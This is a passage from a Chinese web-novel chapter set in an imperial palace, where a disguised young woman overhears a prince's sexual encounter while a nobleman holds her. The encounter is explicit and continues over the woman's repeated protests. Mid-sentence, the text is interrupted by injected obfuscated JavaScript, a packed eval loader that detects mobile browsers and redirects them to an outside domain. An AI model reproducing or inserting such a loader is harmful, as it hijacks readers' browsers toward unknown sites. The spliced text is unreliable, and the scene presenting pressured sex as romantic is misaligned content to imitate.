徐菀音蹲伏在草丛中,就连气息也放弱了些,不敢有丝毫动静。
只听二皇子李诀沉声说道:“你与孤一同长大的,便说是孤最亲之人也不为过,如何忍心说要离宫这种话?”
那莹莹惨声道:“如何忍心……殿下现下在乎的,竟只是我说要离宫的话么?”
二皇子怒道:“孤今日可是不顾自身安危,亲自下了湖捞你?”
莹莹不语,半晌才道:“多谢殿下……既如此,我这便要回去了,我娘若醒来见不着我,怕是会叫……”
二皇子:“你放心好了,胡娘自不是那般不长眼的人,她自然知道你与孤在一处。”
莹莹似是又哭了起来,泣道:“胡娘胡娘,殿下如今竟是在旁的下人面前,也这般唤我娘,她真真是……高兴得……把什么都忘了。”
二皇子:“胡娘当得起孤这般唤她。”
莹莹:“是啊,她当年为了继续给殿下做乳娘,才又生了我。在她心里,殿下才是全天下的唯一……”
二皇子柔声道:“莹莹,你莫要这般想,孤感念你娘,也是因为她将你带到了孤的身边……”
只听声音逐渐含糊,那莹莹也“嘤”出些声来,似是二人吻到了一处。
却又听得那莹莹似乎将二皇子推开了,继续说道:“殿下究竟将我当作什么呢?我娘将我这般给了殿下,横竖好歹全然不顾。殿下呢,我是殿下的何人……还是何物?是个替殿下开了身子的玩物么?”
徐菀音听到此处一愣,不明白莹莹说的这“替殿下开了身子的玩物”是何意,又听那殿下竟轻笑一声,道:
“孤的身子,全然给你来开了,不好么?”
声音又是含糊起来,却听那莹莹一边轻声怒叱,一边“呜呜”声不绝,似是被二皇子含住了嘴,出不了声。一边又是挣扎不断,不愿给了他爽利。
二皇子便喘着气抚慰她道:“好莹莹,孤受不住了,你衣裳湿透了贴身上好生不舒服,孤这般湿着也不舒服,脱掉可好……你不知道,自那日后,孤总想着你,你那里……好软,好香……你便不想孤么?让孤再亲亲……亲亲你那里……你别躲,先给孤摸摸也行啊……”
气息渐渐粗重起来,越喘越是厉害。
徐菀音伏在草丛里,只听得面红耳赤、羞臊不已。正有些羞恼地想着,自己该当如何悄没声地退开,慢慢离开这没羞的暧昧之地,便觉着身后好似有一阵热气拢过来。
她一惊之下差点喊出了声,立时被人捂住了嘴。
这一下,惊得徐菀音魂飞天外,心都快跳出腔膛了。
捂她嘴那人却未再有其它动作,只蹲她身后,一只大手捂住她嘴,另一手箍住她身体,精准又迅捷地既控住了她嘴不令发声,又控住了她身体,不令她挣扎出声音来。
徐菀音就这么被那人抱着,捂着,脑子都无法转动了,只是惊骇恐惧得身体发僵,满头是汗。
过了好一会儿,才见那人从自己侧后方探过脸来。
是宇文贽。
见到宇文贽的脸,徐菀音先是恼他惊吓了自己,将眼儿狠狠瞪着他。过得一息,却是如释重负地轻轻叹出口气来。心想自己今晚在这宫里的探险,可算是到头了。
于是她眼神轻松地看着他,轻轻晃了晃头,意思是自己不会出声,快放开捂嘴的手吧。
宇文贽将手从她嘴上拿开,身体却还拥着她,似有些放不开去。
朱墙那头,那暧昧之声仍在继续,丝毫未停。
只听那莹莹又是泣声、又是娇声地求道:“不要……殿下……你别……不行……”
又听二皇子似是一点也没听她的,悉悉索索一阵衣衫摩擦之声,湿哒哒的衣裳甩落到地上之声,“咿咿唔唔、吧吧嗒嗒”的唇舌舔舐之声……
再加上二皇子一刻不停地温声劝慰她:“孤好想你……想得,那里都疼了,你别躲……给孤瞧瞧你……摸摸你……你都这般春润了还躲?好莹莹,求你了,快别捂着,孤想亲你那里……你瞧孤这儿……啊哟你还怕么?你不是见过的么……别怕……快帮孤缓缓,缓缓……”
宇文贽听得面热心跳,身体也是起了些异状,忙稍稍离徐菀音远得一些,伸手捂住她两耳。
却见怀里这小郎君,在清泠泠的月光下,小脸上泛着粉润润的光泽,双眼透着羞意,小巧高挺的鼻尖儿,似乎都羞红了,小嘴微张着,被墙内那不绝于耳的唇舌之声给逗得,好似在轻轻颤抖……
徐菀音早已被那墙内之声羞得又是恼怒又是害怕。
她毕竟是个孤身在外的小女郎,来京城之前一直与家人在一处。母亲是个不太管事的,又与父亲一道,对大儿晚庭的关注度远高于对二女儿菀音的。总觉得女儿还小,不曾与她有过男女之事的启蒙。父亲徐渭就更不用说了。
柳妈妈倒是机灵又老道,却未曾料想,自家小姐一来京城,便一忽儿招惹上太子殿下,一忽儿竟又与世子爷同处一府。待柳妈妈反应过来时,那太子殿下和世子爷,便连看小姐的眼神,都不对劲了。那老婆子直到现下,都还未能整理清楚,到底要和小姐如何上了这一课呢。
然而无论柳妈妈要如何上这一课,都是来不及了。
徐菀音此刻硬生生地被那宫墙以里的二皇子和莹莹姑娘上着课,自己还被世子爷紧紧搂在怀里……
她又如何能知道,那贴着自己的世子爷究竟是咋了,变得怪异紧绷,又迟迟没有放开自己,他是忘记放开了么?
那墙内的声音越发令人脸红,徐菀音便轻轻扭动了一下身体,意思是“世子爷你可放开我了”。却感觉两颊一热,世子爷的大手已将自己两耳捂住了。
那手捂得很紧很有力,果然那些怪异的声音都传不进耳内了。徐菀音心下稍定,便不再动弹,却觉得身边那人似乎越来越热。
悄悄侧眼儿看他,便见他咬着牙,一张俊脸上似是因痛苦而扭曲。
方看得两眼,却见他好似要转脸过来看自己,忙将眼儿转回去,心想这黑暗中,他应该没发现自己看他吧……
就这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15853241|172970||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
般过了半晌,又悄悄转动了眼珠,侧眼去看时,只觉得脑子里“轰”的一声,正与他暗黑幽深的眸子对上。
他那眼神,看得怕人,又深邃又强势,像是盯紧了人便不容躲开一般,攥住了她的眼神。
此刻的徐菀音自是不知,墙内那二人的声音开始变得旖旎纷乱。二皇子不再哄劝,只剩了些粗重的喘息声,一下一下地呼出来。那叫莹莹的女子,也是娇喘呼应,时而呻吟,又忽忽地被冲断……
十九岁的世子爷此刻满脑子都是曾经的那两个吻,已然尝到嘴里的滋味,又如何是想忘便能忘掉的?
娇人在怀,耳边春声不绝,记忆中又满是那食髓知味的香甜蜜吻……
宇文贽觉得自己快要爆开了。
他将手里捧着的那张小脸轻轻仰向自己,月光下,只见徐公子眼神飘忽,似是不敢看向自己,也不知在想什么。
皇宫的庭园中,虫鸣唧唧,月色如纱,晚风沁凉,怀里那人身上淡淡的橘子花气息似有若无地浸入他鼻腔,幽幽扰扰地撩拨他。
然而那吴药师的话却如炸雷一般提醒着他:“……例如口中涎水之味、身体泌物之味,乃至于被摸触揉搓等等……若再有其事,恐致受害人强烈不适,以至于惊惧昏厥……”
世子爷不敢,无论如何也不敢。
不知又过了多久,一阵蛙鸣声响起。硬生生挺过来的宇文贽方长长呼出一口气,正要放开捂在徐菀音两耳上的手,忽听那已偃旗息鼓的二皇子低声道:
“莹莹,孤知你忍得辛苦,孤何尝不辛苦?你问孤将你当何人,此刻孤便答你,实在还当不得何人,孤只得你一个儿。你日日守在此重华宫内,孤又何尝不是如此?你怎忍心说要离开孤出宫去的话……”
说到此处,二皇子声音有些激动。那莹莹悉悉索索牵弄衣裳的声音便停了一停,似是抱住了他。过了一会儿,又听二皇子继续说道:
“东宫那位年已十八,今年便该大婚,他大婚后,孤也该差不多了……”
却听那莹莹又出了点泣声。
二皇子安慰她道:“你放心吧,孤丝毫没想着大婚之事……”
莹莹一边抽泣,一边驳他道:“我娘把我给你,便是因了皇妃娘娘的令,殿下难道不知么?要令我替殿下……开了身子,好为以后大婚……”
二皇子冷笑道:“孤的母妃糊涂,她道宫里宫外四下里乱传,东宫那位好男色,损折于男女之事,有言官借此抨击他,恐有碍皇家后嗣。母妃便要替孤正了这个名,以备将来若那位栽倒,孤的这条根儿,便能成了龙根……哼哼,好生浅薄。”
莹莹轻声道:“浅薄么?……”
二人似又因那“龙根”的言语,相互闹腾了一会儿。安稳下来后,二皇子才又道:
“论及皇家后嗣之事,实则也就是这般浅薄。孤这龙根,你开天辟地头一个验过了,怎生还这般哭哭啼啼闹个没完……你可别再替孤生事儿了,孤要琢磨的,还是那位的龙根,要真真损折在男色上才成呢……”